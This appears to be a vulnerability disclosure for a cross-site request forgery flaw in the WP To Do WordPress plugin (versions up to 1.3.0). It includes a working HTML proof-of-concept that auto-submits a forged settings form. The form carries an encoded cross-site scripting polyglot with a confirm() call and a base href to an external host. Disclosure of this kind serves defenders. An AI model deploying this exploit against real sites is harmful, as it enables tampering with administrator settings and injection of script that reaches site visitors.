Description

The WP To Do plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.0. This is due to missing or incorrect nonce validation on the wptodo_settings() function. This makes it possible for unauthenticated attackers to modify the plugin’s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected Version

<= 1.3.0

PoC :

<html>
  <!-- Made by eneriiiii<3 / https://x.com/aaillesim -->
  <body>
    <form action="http://[ASSETS]/wp-admin/admin.php?page=wptodo_settings" method="POST">
      <input type="hidden" name="subject" value="JavaScript&#58;&#47;&#47;&#37;0A&#47;&#42;&#63;&apos;&#47;&#42;&#92;&#92;&apos;&#47;&#42;&quot;&#47;&#42;&#92;&#92;&quot;&#47;&#42;&#96;&#47;&#42;&#92;&#92;&#96;&#47;&#42;&amp;apos&#59;&#41;&#47;&#42;&lt;&#33;&#45;&#45;&gt;&lt;&#47;Title&#47;&lt;&#47;Style&#47;&lt;&#47;Script&#47;&lt;&#47;textArea&#47;&lt;&#47;iFrame&#47;&lt;&#47;noScript&gt;&#92;&#92;74k&lt;K&#47;contentEditable&#47;autoFocus&#47;OnFocus&#61;&#47;&#42;&#36;&#123;&#47;&#42;&#47;&#59;&#123;&#47;&#42;&#42;&#47;&#40;confirm&#41;&#40;1&#43;2&#43;3&#43;4&#43;5&#43;6&#43;7&#43;8&#43;9&#43;10&#43;11&#43;12&#43;13&#43;14&#43;15&#43;16&#43;17&#43;18&#43;19&#43;20&#43;45&#43;500&#43;1000&#45;400&#45;20&#43;2&#41;&#125;&#47;&#47;&gt;&lt;Base&#47;Href&#61;&#47;&#47;ener1&#45;s3c&#46;github&#46;io&#92;&#92;76&#45;&#45;&gt;" />
      <input type="hidden" name="body" value="JavaScript&#58;&#47;&#47;&#37;0A&#47;&#42;&#63;&apos;&#47;&#42;&#92;&#92;&apos;&#47;&#42;&quot;&#47;&#42;&#92;&#92;&quot;&#47;&#42;&#96;&#47;&#42;&#92;&#92;&#96;&#47;&#42;&amp;apos&#59;&#41;&#47;&#42;&lt;&#33;&#45;&#45;&gt;&lt;&#47;Title&#47;&lt;&#47;Style&#47;&lt;&#47;Script&#47;&lt;&#47;textArea&#47;&lt;&#47;iFrame&#47;&lt;&#47;noScript&gt;&#92;&#92;74k&lt;K&#47;contentEditable&#47;autoFocus&#47;OnFocus&#61;&#47;&#42;&#36;&#123;&#47;&#42;&#47;&#59;&#123;&#47;&#42;&#42;&#47;&#40;confirm&#41;&#40;1&#43;2&#43;3&#43;4&#43;5&#43;6&#43;7&#43;8&#43;9&#43;10&#43;11&#43;12&#43;13&#43;14&#43;15&#43;16&#43;17&#43;18&#43;19&#43;20&#43;45&#43;500&#43;1000&#45;400&#45;20&#43;2&#41;&#125;&#47;&#47;&gt;&lt;Base&#47;Href&#61;&#47;&#47;ener1&#45;s3c&#46;github&#46;io&#92;&#92;76&#45;&#45;&gt;" />
      <input type="hidden" name="submit" value="Submit&#32;Query" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://plugins.trac.wordpress.org/browser/wp-todo/trunk/inc/Base/Model.php#L304
  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-todo/wp-to-do-130-cross-site-request-forgery-via-wptodo-settings